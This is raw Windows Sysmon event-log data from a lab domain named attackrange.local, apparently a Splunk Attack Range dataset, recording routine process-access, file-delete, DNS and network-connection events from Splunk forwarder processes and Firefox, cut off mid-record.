15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017506Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7404-613B-2705-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017505Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7404-613B-2705-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017504Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.282{625C326B-7404-613B-2705-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017503Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.218{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88B922D88967698C0F00161FCAF3D3AF,SHA256=8A64F5CB38A2DCC97543CF645E2062FD89F4187E6F3B317A4DD634E2522BC4F4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:37.985{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C9E9E97BC95134183756324FF4157ACB,SHA256=271AA22CB54B7A9FE1B0D3361E886C3FEFFBD0637E935E63BCB9E721B7237A2D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017518Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:37.297{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39927FC7613C7B4F277AE1745C0F3683,SHA256=E4A84580C210E3953D38C8DC19565186DB33A22C3A3481775AB8071256140FA5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:34.434{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63105-false10.0.1.12-8000- 23542300x800000000000000054466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:38.986{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8FE879A497A31013F1D87BA8C1F03E3,SHA256=55F1727E19C2F49230568C032E4651C8250D6C651F89240DD2A481E9D3449BE3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017519Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:38.328{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=28D855E4C3A6466237606A370AA57FF2,SHA256=0835A7979DE6E2803CB98EEF208395BE48399F6359EBBAA4175896DE41DE70D1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017521Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:38.430{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50360-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017520Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:39.328{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A28B186E11E264F0088A41B7A422934E,SHA256=2487199924EBDFCAB2F143184CE3D5BEBC9DA7FB5AF21BB58183EF0C5D3C133C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017522Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:40.406{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B47F783D548202892AAF3AA2EB351081,SHA256=0C7C616785EE0CAD8C1B1DA7F7EBC8F593326B0D5B9F7304827EE4A897F408B0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:40.000{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72C7F1E99F249C56EC8663BB913931E3,SHA256=80AE690627DC9ED292BF86E1A0181F2EBDA2E53C4917411CC3271822BF0C6F8F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017523Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:41.422{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=602BFC14726045D00930AFBE074D2C3A,SHA256=CABE683FC72A6E9CA01D30A900293DDB919378297B929A33F085023AEEC6293C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:41.017{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E5D5CCEC59DD76B2E823A463B939AA8D,SHA256=78DBDB1932D0D932D147375A2B71655B760174AFB796D2EF6C0CB2B0A08C4763,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017524Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:42.453{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C59F1DD0C35EAB072271BF2D53CE6ECB,SHA256=BFB7EFDE5C2D3EAFC603E487C65CAA0513978F7490B87B03C13F8B3E5E5E8333,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:42.098{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3677BDE8FC355612D09EE36CE14222FD,SHA256=861DF00D64E16A03CCD75F1FC54598840910FBEA56460956405DFA33E3B1C5AF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017525Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:43.468{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD0922B26DCA2823C2B862A5DC311978,SHA256=3DBA45FC8D51EB7CF6590A3A8D3A9B04A5F416F3F1B4FD81F245EF5BE8662547,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:40.430{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63106-false10.0.1.12-8000- 23542300x800000000000000054470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:43.166{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B61CB6714132A317E12A341F1BC869D,SHA256=5022081C0AAE0C8A906C6F497D1812810570875785C57BCF5176E07240B6AB61,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017526Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:44.515{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=55353266F9007EC07DDF505514DCFC48,SHA256=B24A590D73B4CDDDA4EEC3123567B9942AC92C953960FC38B1D216BC27F0A7C4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:44.182{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A31F4C116496F24C15BAFEE1D3EA4F9D,SHA256=D1AFA957B896BAD1F650E0FD42E95387714C68BECB0AE508CD7BE05FF9CAFB3C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017528Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:45.516{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3ADE95A895690560622B47A456BBD77,SHA256=3F4FA09EECB87B4DF6D1F6FE74813B66060608F78CB254F9BC5E45944EEF4052,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:45.196{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1D95B1A9E90D87F6C67920B7A9605413,SHA256=C459CF7D6E8B0EE44B37479068477EFC5206A8E74084084993C852F2F23E5D5D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017527Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:43.542{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50361-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017529Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:46.531{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C9C802F5D76902E5EAD28A2CF1670046,SHA256=7168F83D286A907B2AA99C7278709D21C25C3E253CE3EDED9E37D70510D20CD3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:46.199{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CC0BDC84DF4B241F641D4B0218E8AD8,SHA256=B21F4B3329809EB8F6C4BC34669A1BB78D964669DB3114B88EAE050BE2358472,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017530Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:47.531{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BB2CB2E149EA2F960DBE848396052C6,SHA256=F29C101DB30195943F13E53BACD4616100A979134CB7392502062FCC14FA73C0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:45.430{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63107-false10.0.1.12-8000- 23542300x800000000000000054475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:47.252{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85A2D457D2B3A523A5579453892D1351,SHA256=F604B2FC2658AFC066ADB7CE9397304824555B511815ADE75D232CDF9CB74A4E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:48.282{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD21BAAD575A989D76E0BC0DA162A792,SHA256=CEFE8CB96E80165E3D59FF37CEA5AAFB104491F6429F026AA3E56BA18748FD51,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017531Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:48.547{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBDF476F4FFF93EB94F33EB69C7B00CC,SHA256=110BDB2EFE8332A05CBFC5EEA8E5015A755E12855ED1839ABF09D7C99C82AF85,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017532Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:49.562{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=345E7F258846C5997D53ED1E28043835,SHA256=2F3825CC34523C51A4D1C7CC4E82E9DC04574D2C7C73087F8231CED8DF54C53F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:49.350{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52AFFAE5241321EFC112B1E19428878A,SHA256=ACC536AA47D5F26C3D9F3A52F4F425B43E52CC9027C1FD85E568F8F8B38EBD5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017533Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:50.593{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFF9C7183EE7B280FAB7E2EF529FAEBF,SHA256=C38E2CBF4A0ED632E7F9B2BC3CFB64235CE0FBCD00DE888E75FD8324A91F4E39,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:50.365{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6EE1DB4AF354047CA4B6B65B035A05EC,SHA256=74C19A3F746443B3EF8F20346FD945EEDB23C2CE5BB1EF726C8110FBE6543A31,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017535Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:51.633{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89071578FBBB46B464CD552F56DB655F,SHA256=B475AEBE08E08EF312B2C48969F58AE370158CFCCC743C94F380CDC4869CCEFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:51.381{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=81CBB341DFD7E2CE3F7C3C40D1D33DB5,SHA256=EC129F85CD302293CD9BBED41740966FED7E1934BD18ACDED29A708E748B5BA2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017534Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:49.368{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50362-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017536Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:52.649{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C281DDDB6B3E173E4AC19A49ABEB6A19,SHA256=1F9E41EBFB9847A5F1B4EC688A79CC6CEC72F060C27CC61B2B6CE342F33D08E6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:50.459{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63109-false10.0.1.12-8000- 23542300x800000000000000054481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:52.449{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC7010917DA3156B442B6154CA162853,SHA256=C36711DFACE99D9C4B1DDD2EC50E0A82D43A95E9E5CD8D1FC4D4D167625DD827,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017537Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:53.664{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8CC92CA6C38AF16AFB2328EB5BE5A23B,SHA256=73C094379A8F9EDCF80C77BEF80B0E972816E8A085852E711B1B24D15DFE8AC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.979{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.613{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C4A4CFAB6A78B9F16308F52C537FCA8,SHA256=B22F713E1325C776FA67C8208270E39E36585E32E26CA81E8F0ED56DC2200BEA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017538Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:54.711{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C6AFB82721F08E83165264B68C76596,SHA256=15DBAE6FCCCC33F5062FD2719E93E884FBA511450A576377E8D72906C784513B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.063{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63111-false93.184.220.29-80http 354300x800000000000000054505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:52.911{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63110-false35.82.131.108ec2-35-82-131-108.us-west-2.compute.amazonaws.com443https 354300x800000000000000054504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:52.769{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54790- 354300x800000000000000054503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:52.764{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT 